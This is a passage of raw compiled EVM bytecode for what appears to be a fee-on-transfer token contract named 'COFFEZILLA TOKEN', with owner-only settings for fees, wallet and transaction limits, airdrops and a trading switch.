0x6080604052600436106102805760003560e01c80636ddd17131161014f578063bd9ab537116100c1578063df20fd491161007a578063df20fd49146109e2578063f2fde38b14610a0b578063f84ba65d14610a34578063f887ea4014610a5d578063fed0d2a114610a88578063ffb54a9914610ab357610287565b8063bd9ab537146108c0578063cec10c11146108e9578063d51ed1c814610912578063d58f2f271461094f578063dccd8bd21461097a578063dd62ed3e146109a557610287565b806395d89b411161011357806395d89b411461079c57806398118cb4146107c757806398e0ae14146107f25780639c75dd351461082f578063a8aa1b3114610858578063a9059cbb1461088357610287565b80636ddd1713146106b357806370a08231146106de57806378109e541461071b5780637d1db4a514610746578063893d20e81461077157610287565b806323b872dd116101f35780634be9d869116101ac5780634be9d869146105a5578063571ac8b0146105ce5780635921652f1461060b578063658d4b7f146106365780636b67c4df1461065f5780636ce46bc31461068a57610287565b806323b872dd146104815780632b112e49146104be5780632f54bf6e146104e95780633121c7c014610526578063313ce567146105515780633c8e556d1461057c57610287565b80631161ae39116102455780631161ae391461037157806317deb770146103ae578063180b0d7e146103d757806318160ddd146104025780631df4ccfc1461042d578063201e79911461045857610287565b8062bff4461461028c5780630445b667146102b557806306fdde03146102e057806309302dc61461030b578063095ea7b31461033457610287565b3661028757005b600080fd5b34801561029857600080fd5b506102b360048036038101906102ae9190613323565b610ade565b005b3480156102c157600080fd5b506102ca610c10565b6040516102d7919061339c565b60405180910390f35b3480156102ec57600080fd5b506102f5610c16565b6040516103029190613447565b60405180910390f35b34801561031757600080fd5b50610332600480360381019061032d9190613495565b610c53565b005b34801561034057600080fd5b5061035b60048036038101906103569190613520565b610d03565b604051610368919061356f565b60405180910390f35b34801561037d57600080fd5b506103986004803603810190610393919061358a565b610df5565b6040516103a5919061356f565b60405180910390f35b3480156103ba57600080fd5b506103d560048036038101906103d09190613620565b610e0a565b005b3480156103e357600080fd5b506103ec610fec565b6040516103f9919061339c565b60405180910390f35b34801561040e57600080fd5b50610417610ff2565b604051610424919061339c565b60405180910390f35b34801561043957600080fd5b50610442610ffc565b60405161044f919061339c565b60405180910390f35b34801561046457600080fd5b5061047f600480360381019061047a919061358a565b611002565b005b34801561048d57600080fd5b506104a860048036038101906104a391906136b5565b61105c565b6040516104b5919061356f565b60405180910390f35b3480156104ca57600080fd5b506104d361125c565b6040516104e0919061339c565b60405180910390f35b3480156104f557600080fd5b50610510600480360381019061050b9190613708565b6112de565b60405161051d919061356f565b60405180910390f35b34801561053257600080fd5b5061053b611337565b604051610548919061339c565b60405180910390f35b34801561055d57600080fd5b5061056661133d565b6040516105739190613751565b60405180910390f35b34801561058857600080fd5b506105a3600480360381019061059e919061376c565b611346565b005b3480156105b157600080fd5b506105cc60048036038101906105c79190613323565b611498565b005b3480156105da57600080fd5b506105f560048036038101906105f09190613708565b6115ca565b604051610602919061356f565b60405180910390f35b34801561061757600080fd5b506106206115fd565b60405161062d919061339c565b60405180910390f35b34801561064257600080fd5b5061065d600480360381019061065891906137d3565b611603565b005b34801561066b57600080fd5b506106746116a6565b604051610681919061339c565b60405180910390f35b34801561069657600080fd5b506106b160048036038101906106ac9190613813565b6116ac565b005b3480156106bf57600080fd5b506106c861170e565b6040516106d5919061356f565b60405180910390f35b3480156106ea57600080fd5b5061070560048036038101906107009190613708565b611721565b604051610712919061339c565b60405180910390f35b34801561072757600080fd5b5061073061176a565b60405161073d919061339c565b60405180910390f35b34801561075257600080fd5b5061075b611770565b604051610768919061339c565b60405180910390f35b34801561077d57600080fd5b50610786611776565b6040516107939190613875565b60405180910390f35b3480156107a857600080fd5b506107b161179f565b6040516107be9190613447565b60405180910390f35b3480156107d357600080fd5b506107dc6117dc565b6040516107e9919061339c565b60405180910390f35b3480156107fe57600080fd5b5061081960048036038101906108149190613520565b6117e2565b604051610826919061356f565b60405180910390f35b34801561083b57600080fd5b5061085660048036038101906108519190613495565b61188c565b005b34801561086457600080fd5b5061086d611915565b60405161087a9190613875565b60405180910390f35b34801561088f57600080fd5b506108aa60048036038101906108a59190613520565b61193b565b6040516108b7919061356f565b60405180910390f35b3480156108cc57600080fd5b506108e760048036038101906108e29190613495565b611950565b005b3480156108f557600080fd5b50610910600480360381019061090b9190613813565b611a00565b005b34801561091e57600080fd5b5061093960048036038101906109349190613495565b611a9c565b604051610946919061339c565b60405180910390f35b34801561095b57600080fd5b50610964611b0e565b604051610971919061339c565b60405180910390f35b34801561098657600080fd5b5061098f611b14565b60405161099c919061339c565b60405180910390f35b3480156109b157600080fd5b506109cc60048036038101906109c79190613890565b611b1a565b6040516109d9919061339c565b60405180910390f35b3480156109ee57600080fd5b50610a096004803603810190610a0491906138d0565b611ba1565b005b348015610a1757600080fd5b50610a326004803603810190610a2d919061394e565b611c0e565b005b348015610a4057600080fd5b50610a5b6004803603810190610a5691906137d3565b611d27565b005b348015610a6957600080fd5b50610a72611dca565b604051610a7f91906139da565b60405180910390f35b348015610a9457600080fd5b50610a9d611df0565b604051610aaa919061339c565b60405180910390f35b348015610abf57600080fd5b50610ac8611df6565b604051610ad5919061356f565b60405180910390f35b610ae7336112de565b610b26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1d90613a41565b60405180910390fd5b6101f58383905010610b6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6490613ad3565b60405180910390fd5b60005b83839050811015610c0a5781600a6000868685818110610b9357610b92613af3565b5b9050602002016020810190610ba89190613708565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080610c0390613b51565b9050610b70565b50505050565b601d5481565b60606040518060400160405280601081526020017f434f4646455a494c4c4120544f4b454e00000000000000000000000000000000815250905090565b610c5c336112de565b610c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9290613a41565b60405180910390fd5b600a811015610cdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd690613c0b565b60405180910390fd5b6103e881600554610cf09190613c2b565b610cfa9190613c9c565b60078190555050565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610de3919061339c565b60405180910390a36001905092915050565b600082610e0183611a9c565b11905092915050565b610e13336112de565b610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990613a41565b60405180910390fd5b6101f58484905010610e99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9090613d3f565b60405180910390fd5b818190508484905014610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed890613dd1565b60405180910390fd5b6000805b85859050811015610f2a57838382818110610f0357610f02613af3565b5b9050602002013582610f159190613df1565b91508080610f2290613b51565b915050610ee5565b5080610f3587611721565b1015610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d90613e71565b60405180910390fd5b60005b85859050811015610fe357610fcf87878784818110610f9b57610f9a613af3565b5b9050602002016020810190610fb09190613708565b868685818110610fc357610fc2613af3565b5b90506020020135611e09565b508080610fdb90613b51565b915050610f79565b50505050505050565b60115481565b6000600554905090565b60105481565b61100b336112de565b61104a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104190613a41565b60405180910390fd5b8160198190555080601a819055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611248576111c7826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdc9092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611253848484612040565b90509392505050565b60006112d961128c600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611721565b6112cb6112ba600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611721565b60055461258290919063ffffffff16565b61258290919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60135481565b60006004905090565b61134f336112de565b61138e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138590613a41565b60405180910390fd5b83601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b6114a1336112de565b6114e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d790613a41565b60405180910390fd5b6101f58383905010611527576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151e90613ad3565b60405180910390fd5b60005b838390508110156115c45781600b600086868581811061154d5761154c613af3565b5b90506020020160208101906115629190613708565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550806115bd90613b51565b905061152a565b50505050565b60006115f6827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610d03565b9050919050565b60145481565b61160c336112de565b61164b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164290613a41565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600d5481565b6116b5336112de565b6116f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116eb90613a41565b60405180910390fd5b816012819055508260138190555080601481905550505050565b601c60159054906101000a900460ff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60075481565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f434f4646455a494c4c4100000000000000000000000000000000000000000000815250905090565b600c5481565b60008273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401611841929190613e91565b6020604051808303816000875af1158015611860573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118849190613ecf565b905092915050565b6000479050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc606484846118db9190613c2b565b6118e59190613c9c565b9081150290604051600060405180830381858888f19350505050158015611910573d6000803e3d6000fd5b505050565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611948338484612040565b905092915050565b611959336112de565b611998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198f90613a41565b60405180910390fd5b60018110156119dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d390613f6e565b60405180910390fd5b6103e8816005546119ed9190613c2b565b6119f79190613c9c565b60068190555050565b611a09336112de565b611a48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3f90613a41565b60405180910390fd5b82600c8190555081600d8190555080600e81905550611a8281611a7484866125cc90919063ffffffff16565b6125cc90919063ffffffff16565b601081905550600a60105410611a9757600080fd5b505050565b6000611b07611aa961125c565b611af9611aea6002611adc601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611721565b61262a90919063ffffffff16565b8561262a90919063ffffffff16565b6126a490919063ffffffff16565b9050919050565b600e5481565b600f5481565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611baa336112de565b611be9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be090613a41565b60405180910390fd5b81601c60156101000a81548160ff02191690831515021790555080601d819055505050565b611c17336112de565b611c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4d90613a41565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611d1c9190613faf565b60405180910390a150565b611d30336112de565b611d6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6690613a41565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b601c60149054906101000a900460ff1681565b6000611e94826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdc9092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f2982600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125cc90919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611fc9919061339c565b60405180910390a3600190509392505050565b6000838311158290612024576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201b9190613447565b60405180910390fd5b50600083856120339190613fca565b9050809150509392505050565b6000601e60009054906101000a900460ff161561206957612062848484611e09565b905061257b565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561210d5750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561216257601c60149054906101000a900460ff16612161576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121589061404a565b60405180910390fd5b5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121e857503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156122425750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561229c5750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156122f65750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561235a57600061230684611721565b905060075483826123179190613df1565b1115612358576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234f906140dc565b60405180910390fd5b505b61236484836126ee565b61236c61278b565b1561237a57612379612862565b5b612403826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdc9092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061245185612dec565b1580612463575061246184612dec565b155b61247757612472858486612e43565b612479565b825b90506124cd81600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125cc90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161256d919061339c565b60405180910390a360019150505b9392505050565b60006125c483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fdc565b905092915050565b60008082846125db9190613df1565b905083811015612620576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261790614148565b60405180910390fd5b8091505092915050565b600080830361263c576000905061269e565b6000828461264a9190613c2b565b90508284826126599190613c9c565b14612699576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612690906141da565b60405180910390fd5b809150505b92915050565b60006126e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613219565b905092915050565b600654811115806127485750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277e90614246565b60405180910390fd5b5050565b6000601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156127f85750601e60009054906101000a900460ff16155b80156128105750601c60159054906101000a900460ff165b801561285d5750601d54600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601e60006101000a81548160ff021916908315150217905550600061288d601954601a54610df5565b61289957600c5461289c565b60005b905060006128dc60026128ce6010546128c086601d5461262a90919063ffffffff16565b6126a490919063ffffffff16565b6126a490919063ffffffff16565b905060006128f582601d5461258290919063ffffffff16565b90506000600267ffffffffffffffff81111561291457612913614266565b5b6040519080825280602002602001820160405280156129425781602001602082028036833780820191505090505b509050308160008151811061295a57612959613af3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816001815181106129cb576129ca613af3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b8152600401612a6e95949392919061438e565b600060405180830381600087803b158015612a8857600080fd5b505af1158015612a9c573d6000803e3d6000fd5b505050506000612ab5824761258290919063ffffffff16565b90506000612ae1612ad06002896126a490919063ffffffff16565b60105461258290919063ffffffff16565b90506000612b1d6002612b0f84612b018c8861262a90919063ffffffff16565b6126a490919063ffffffff16565b6126a490919063ffffffff16565b90506000612b4883612b3a600d548761262a90919063ffffffff16565b6126a490919063ffffffff16565b90506000612b86600a612b7886612b6a600e548a61262a90919063ffffffff16565b6126a490919063ffffffff16565b6126a490919063ffffffff16565b90506000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168361753090604051612bd490614419565b600060405180830381858888f193505050503d8060008114612c12576040519150601f19603f3d011682016040523d82523d6000602084013e612c17565b606091505b50509050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168261753090604051612c6590614419565b600060405180830381858888f193505050503d8060008114612ca3576040519150601f19603f3d011682016040523d82523d6000602084013e612ca8565b606091505b5050809150506000905060008a1115612dc457601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71985308d600080601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401612d449695949392919061442e565b60606040518083038185885af1158015612d62573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612d8791906144a4565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506848b604051612dbb9291906144f7565b60405180910390a15b50505050505050505050506000601e60006101000a81548160ff021916908315150217905550565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b6000806014549050601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612eaa576012549050612f06565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603612f055760135490505b5b6000612f4f6064601154612f1a9190613c2b565b612f4184612f336010548a61262a90919063ffffffff16565b61262a90919063ffffffff16565b6126a490919063ffffffff16565b90506000612f7c601054612f6e600f548561262a90919063ffffffff16565b6126a490919063ffffffff16565b90506000612f93828461258290919063ffffffff16565b9050612fe781600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125cc90919063ffffffff16565b600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061309e8260086000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125cc90919063ffffffff16565b60086000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613160919061339c565b60405180910390a360008211156131f957601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516131f0919061339c565b60405180910390a35b61320c838861258290919063ffffffff16565b9450505050509392505050565b60008083118290613260576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132579190613447565b60405180910390fd5b506000838561326f9190613c9c565b9050809150509392505050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f8401126132ab576132aa613286565b5b8235905067ffffffffffffffff8111156132c8576132c761328b565b5b6020830191508360208202830111156132e4576132e3613290565b5b9250929050565b60008115159050919050565b613300816132eb565b811461330b57600080fd5b50565b60008135905061331d816132f7565b92915050565b60008060006040848603121561333c5761333b61327c565b5b600084013567ffffffffffffffff81111561335a57613359613281565b5b61336686828701613295565b935093505060206133798682870161330e565b9150509250925092565b6000819050919050565b61339681613383565b82525050565b60006020820190506133b1600083018461338d565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156133f15780820151818401526020810190506133d6565b60008484015250505050565b6000601f19601f8301169050919050565b6000613419826133b7565b61342381856133c2565b93506134338185602086016133d3565b61343c816133fd565b840191505092915050565b60006020820190508181036000830152613461818461340e565b905092915050565b61347281613383565b811461347d57600080fd5b50565b60008135905061348f81613469565b92915050565b6000602082840312156134ab576134aa61327c565b5b60006134b984828501613480565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006134ed826134c2565b9050919050565b6134fd816134e2565b811461350857600080fd5b50565b60008135905061351a816134f4565b92915050565b600080604083850312156135375761353661327c565b5b60006135458582860161350b565b925050602061355685828601613480565b9150509250929050565b613569816132eb565b82525050565b60006020820190506135846000830184613560565b92915050565b600080604083850312156135a1576135a061327c565b5b60006135af85828601613480565b92505060206135c085828601613480565b9150509250929050565b60008083601f8401126135e0576135df613286565b5b8235905067ffffffffffffffff8111156135fd576135fc61328b565b5b60208301915083602082028301111561361957613618613290565b5b9250929050565b60008060008060006060868803121561363c5761363b61327c565b5b600061364a8882890161350b565b955050602086013567ffffffffffffffff81111561366b5761366a613281565b5b61367788828901613295565b9450945050604086013567ffffffffffffffff81111561369a57613699613281565b5b6136a6888289016135ca565b92509250509295509295909350565b6000806000606084860312156136ce576136cd61327c565b5b60006136dc8682870161350b565b93505060206136ed8682870161350b565b92505060406136fe86828701613480565b9150509250925092565b60006020828403121561371e5761371d61327c565b5b600061372c8482850161350b565b91505092915050565b600060ff82169050919050565b61374b81613735565b82525050565b60006020820190506137666000830184613742565b92915050565b600080600080608085870312156137865761378561327c565b5b60006137948782880161350b565b94505060206137a58782880161350b565b93505060406137b68782880161350b565b92505060606137c78782880161350b565b91505092959194509250565b600080604083850312156137ea576137e961327c565b5b60006137f88582860161350b565b92505060206138098582860161330e565b9150509250929050565b60008060006060848603121561382c5761382b61327c565b5b600061383a86828701613480565b935050602061384b86828701613480565b925050604061385c86828701613480565b9150509250925092565b61386f816134e2565b82525050565b600060208201905061388a6000830184613866565b92915050565b600080604083850312156138a7576138a661327c565b5b60006138b58582860161350b565b92505060206138c68582860161350b565b9150509250929050565b600080604083850312156138e7576138e661327c565b5b60006138f58582860161330e565b925050602061390685828601613480565b9150509250929050565b600061391b826134c2565b9050919050565b61392b81613910565b811461393657600080fd5b50565b60008135905061394881613922565b92915050565b6000602082840312156139645761396361327c565b5b600061397284828501613939565b91505092915050565b6000819050919050565b60006139a061399b613996846134c2565b61397b565b6134c2565b9050919050565b60006139b282613985565b9050919050565b60006139c4826139a7565b9050919050565b6139d4816139b9565b82525050565b60006020820190506139ef60008301846139cb565b92915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b6000613a2b6006836133c2565b9150613a36826139f5565b602082019050919050565b60006020820190508181036000830152613a5a81613a1e565b9050919050565b7f474153204572726f723a206d6178206c696d697420697320353030206164647260008201527f6573736573000000000000000000000000000000000000000000000000000000602082015250565b6000613abd6025836133c2565b9150613ac882613a61565b604082019050919050565b60006020820190508181036000830152613aec81613ab0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613b5c82613383565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613b8e57613b8d613b22565b5b600182019050919050565b7f4d61782057616c6c65742063616e6e6f74206265206c6f776572207468616e2060008201527f312520746f74616c20737570706c792e00000000000000000000000000000000602082015250565b6000613bf56030836133c2565b9150613c0082613b99565b604082019050919050565b60006020820190508181036000830152613c2481613be8565b9050919050565b6000613c3682613383565b9150613c4183613383565b9250828202613c4f81613383565b91508282048414831517613c6657613c65613b22565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613ca782613383565b9150613cb283613383565b925082613cc257613cc1613c6d565b5b828204905092915050565b7f474153204572726f723a206d61782061697264726f70206c696d69742069732060008201527f3530302061646472657373657300000000000000000000000000000000000000602082015250565b6000613d29602d836133c2565b9150613d3482613ccd565b604082019050919050565b60006020820190508181036000830152613d5881613d1c565b9050919050565b7f4d69736d61746368206265747765656e204164647265737320616e6420746f6b60008201527f656e20636f756e74000000000000000000000000000000000000000000000000602082015250565b6000613dbb6028836133c2565b9150613dc682613d5f565b604082019050919050565b60006020820190508181036000830152613dea81613dae565b9050919050565b6000613dfc82613383565b9150613e0783613383565b9250828201905080821115613e1f57613e1e613b22565b5b92915050565b7f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c65740000000000600082015250565b6000613e5b601b836133c2565b9150613e6682613e25565b602082019050919050565b60006020820190508181036000830152613e8a81613e4e565b9050919050565b6000604082019050613ea66000830185613866565b613eb3602083018461338d565b9392505050565b600081519050613ec9816132f7565b92915050565b600060208284031215613ee557613ee461327c565b5b6000613ef384828501613eba565b91505092915050565b7f4d6178205472616e73616374696f6e2063616e6e6f74206265206c6f7765722060008201527f7468616e20302e312520746f74616c20737570706c792e000000000000000000602082015250565b6000613f586037836133c2565b9150613f6382613efc565b604082019050919050565b60006020820190508181036000830152613f8781613f4b565b9050919050565b6000613f99826139a7565b9050919050565b613fa981613f8e565b82525050565b6000602082019050613fc46000830184613fa0565b92915050565b6000613fd582613383565b9150613fe083613383565b9250828203905081811115613ff857613ff7613b22565b5b92915050565b7f54726164696e67206e6f74206f70656e20796574000000000000000000000000600082015250565b60006140346014836133c2565b915061403f82613ffe565b602082019050919050565b6000602082019050818103600083015261406381614027565b9050919050565b7f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460008201527f65642c20796f752063616e206e6f74206275792074686174206d7563682e0000602082015250565b60006140c6603e836133c2565b91506140d18261406a565b604082019050919050565b600060208201905081810360008301526140f5816140b9565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614132601b836133c2565b915061413d826140fc565b602082019050919050565b6000602082019050818103600083015261416181614125565b9050919050565b7